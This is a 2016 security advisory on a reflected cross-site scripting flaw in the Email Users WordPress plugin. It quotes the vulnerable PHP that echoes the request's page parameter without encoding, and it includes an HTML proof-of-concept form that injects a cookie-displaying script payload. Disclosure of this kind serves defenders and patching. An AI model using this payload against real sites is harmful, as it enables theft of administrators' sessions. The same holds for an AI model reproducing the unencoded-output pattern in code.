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Cross-Site Scripting vulnerability in Email Users WordPress Plugin
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Yorick Koster, July 2016
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Abstract
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A Cross-Site Scripting vulnerability was found in the Email Users
WordPress Plugin. This issue allows an attacker to perform a wide
variety of actions, such as stealing Administrators' session tokens, or
performing arbitrary actions on their behalf. In order to exploit this
issue, the attacker has to lure/force a logged on WordPress
Administrator into opening a malicious website.
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OVE ID
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OVE-20160712-0012
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Tested versions
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This issue was successfully tested on Email Users [2] WordPress Plugin
version 4.8.2.
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Fix
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This issue is resolved in Email Users version 4.8.3 [3].
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Introduction
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The Email Users [2] WordPress Plugin allows a WordPress user to send an
email to the registered blog users. Users can send personal emails to
each other. Power users can email groups of users and even notify group
of users of posts. A Cross-Site Scripting vulnerability was found in the
Email Users WordPress Plugin. This issue allows an attacker to perform a
wide variety of actions, such as stealing Administrators' session
tokens, or performing arbitrary actions on their behalf. In order to
exploit this issue, the attacker has to lure/force a logged on WordPress
Administrator into opening a malicious website.
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Details
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The issue exists in the file email_users_user_settings.php and is caused
by the lack of output encoding on the page request parameter. The
vulnerable code is listed below.
<form id="email-users-filter" method="get">
<!-- For plugins, we also need to ensure that the form posts back to
our current page -->
<input type="hidden" name="page" value="<?php echo $_REQUEST['page']
?>" />
<!-- Now we can render the completed list table -->
<?php $mailusersListTable->search_box(__('Search',
MAILUSERS_I18N_DOMAIN), 'search_id'); ?>
<?php $mailusersListTable->display() ; ?>
</form>
Normally, the page URL parameter is validated by WordPress, which
prevents Cross-Site Scripting. However in this case the value of page is
obtained from $_REQUEST, not from $_GET. This allows for parameter
pollution where the attacker puts a benign page value in the URL and
simultaneously submits a malicious page value as POST parameter.
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Proof of concept
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<html>
<body>
<form
action="http://<target>/wp-admin/admin.php?page=mailusers-user-settings"
method="POST">
<input type="hidden" name="page"
value=""<script>alert(document.cookie);</script>" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
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References
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[1]
https://sumofpwn.nl/advisory/2016/cross_site_scripting_vulnerability_in_email_users_wordpress_plugin.html
[2] https://wordpress.org/plugins/email-users/
[3] https://downloads.wordpress.org/plugin/email-users.4.8.3.zip